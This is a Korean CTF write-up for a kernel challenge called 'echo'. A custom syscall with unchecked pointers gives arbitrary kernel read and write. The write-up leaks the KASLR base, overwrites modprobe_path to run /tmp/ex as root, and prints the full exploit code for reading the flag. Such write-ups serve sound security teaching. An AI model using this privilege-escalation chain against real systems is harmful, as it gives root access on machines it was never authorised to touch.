echo

취약점 분석

  1. echo syscall의 임의 주소 8바이트 복사 취약점

src/echo.cecho syscall은 사용자로부터 받은 to, from 포인터를 검증하지 않고 그대로 copy_user_generic_unrolled()에 전달한다.

SYSCALL_DEFINE2(echo, void*, to, void*, from) {
    return copy_user_generic_unrolled(to, from, 8);
}

copy_user_generic_unrolled(to, from, 8)from 주소에서 to 주소로 8바이트를 복사한다. 문제는 tofrom이 모두 syscall 인자로 전달되는 사용자 제어 값인데, 커널 주소 여부에 대한 검증이 없다는 점이다.

따라서 다음 공격 벡터가 가능하다.

  • to = user address, from = kernel address: 커널 메모리 8바이트 leak
  • to = kernel address, from = user address: 커널 메모리 8바이트 overwrite

즉, 이 syscall 하나로 arbitrary kernel read/write primitive를 만들 수 있다.

uint64_t kread(uint64_t from)
{
    uint64_t ret = 0;
    syscall(SYS_ECHO, &ret, (void *)from);
    return ret;
}
 
long kwrite(uint64_t to, uint64_t val)
{
    return syscall(SYS_ECHO, (void *)to, &val);
}
  1. modprobe_path overwrite를 통한 root 권한 코드 실행

임의 커널 쓰기가 가능하므로 커널 전역 변수인 modprobe_path를 덮을 수 있다.

modprobe_path는 알 수 없는 바이너리 포맷을 실행했을 때 커널이 호출하는 userspace helper 경로다. 이를 /tmp/ex로 덮으면, 잘못된 magic 값을 가진 파일을 실행할 때 커널이 root 권한으로 /tmp/ex를 실행한다.

익스플로잇에서는 먼저 커널 주소를 leak해서 KASLR base를 계산한 뒤, modprobe_path 주소를 구한다.

uint64_t leak = kread(0xfffffe0000000004);
uint64_t base = leak - 0x208e00;
uint64_t modprobe_path = base + 0x837cc0;

이후 modprobe_path/tmp/ex로 덮는다.

kwrite(modprobe_path, (uint64_t)0x0078652f706d742fULL); // /tmp/ex

Exploit 과정

Step 1: 임의 커널 읽기 primitive 구성

echo syscall에 to로 userland 변수 주소, from으로 커널 주소를 넘기면 커널 메모리 8바이트를 userland로 복사할 수 있다.

uint64_t kread(uint64_t from)
{
    uint64_t ret = 0;
    syscall(SYS_ECHO, &ret, (void *)from);
    return ret;
}

Step 2: 임의 커널 쓰기 primitive 구성

반대로 to로 커널 주소, from으로 userland 변수 주소를 넘기면 userland의 8바이트 값을 커널 메모리에 쓸 수 있다.

long kwrite(uint64_t to, uint64_t val)
{
    return syscall(SYS_ECHO, (void *)to, &val);
}

Step 3: 커널 base leak

고정된 cpu entry 영역에서 커널 포인터를 leak하고, 알려진 offset을 빼서 커널 base를 계산한다.

uint64_t leak = kread(0xfffffe0000000004);
uint64_t base = leak - 0x208e00;
uint64_t modprobe_path = base + 0x837cc0;

Step 4: modprobe_path overwrite

modprobe_path/tmp/ex로 덮는다.

kwrite(modprobe_path, (uint64_t)0x0078652f706d742fULL); // /tmp/ex

Step 5: modprobe trigger

/tmp/ex에는 flag를 /tmp/flag로 복사하고 권한을 여는 스크립트를 준비한다. 이후 잘못된 magic 값을 가진 실행 파일 /tmp/trig를 실행하면 커널이 /tmp/ex를 root 권한으로 실행한다.

setup_modprobe("/tmp/ex", "cp /flag.txt /tmp/flag\nchmod 777 /tmp/flag");
 
system("printf '\\xff\\xff\\xff\\xff' > /tmp/trig");
system("chmod +x /tmp/trig");
system("/tmp/trig 2>/dev/null");
 
system("cat /tmp/flag");

Exploit Code

#define _GNU_SOURCE
 
#include <errno.h>
#include <stdint.h>
#include <unistd.h>
 
#define SYS_ECHO 548
 
uint64_t kread(uint64_t from)
{
    uint64_t ret = 0;
    syscall(SYS_ECHO, &ret, (void *)from);
    return ret;
}
 
long kwrite(uint64_t to, uint64_t val)
{
    return syscall(SYS_ECHO, (void *)to, &val);
}
 
int main()
{
    important("happy hacking!");
 
    // leak kernel base address via cpu entry
    uint64_t leak = kread(0xfffffe0000000004);
    uint64_t base = leak - 0x208e00;
    uint64_t modprobe_path = base + 0x837cc0;
    info("leak: %lx", leak);
    info("base: %lx", base);
    info("modprobe_path: %lx", modprobe_path);
 
    // setting modprobe_path overwrite to /tmp/ex
    setup_modprobe("/tmp/ex", "cp /flag.txt /tmp/flag\nchmod 777 /tmp/flag");
    info("modprobe_path overwrite to /tmp/ex");
 
    // overwrite modprobe_path to /tmp/ex
    kwrite(modprobe_path, (uint64_t)0x0078652f706d742fULL); // /tmp/ex
    info("modprobe_path overwritten to /tmp/ex");
    info("modprobe_path readback: %lx", kread(modprobe_path));
 
    system("printf '\\xff\\xff\\xff\\xff' > /tmp/trig");
    system("chmod +x /tmp/trig");
    system("/tmp/trig 2>/dev/null");
 
    system("cat /tmp/flag");
 
    return 0;
}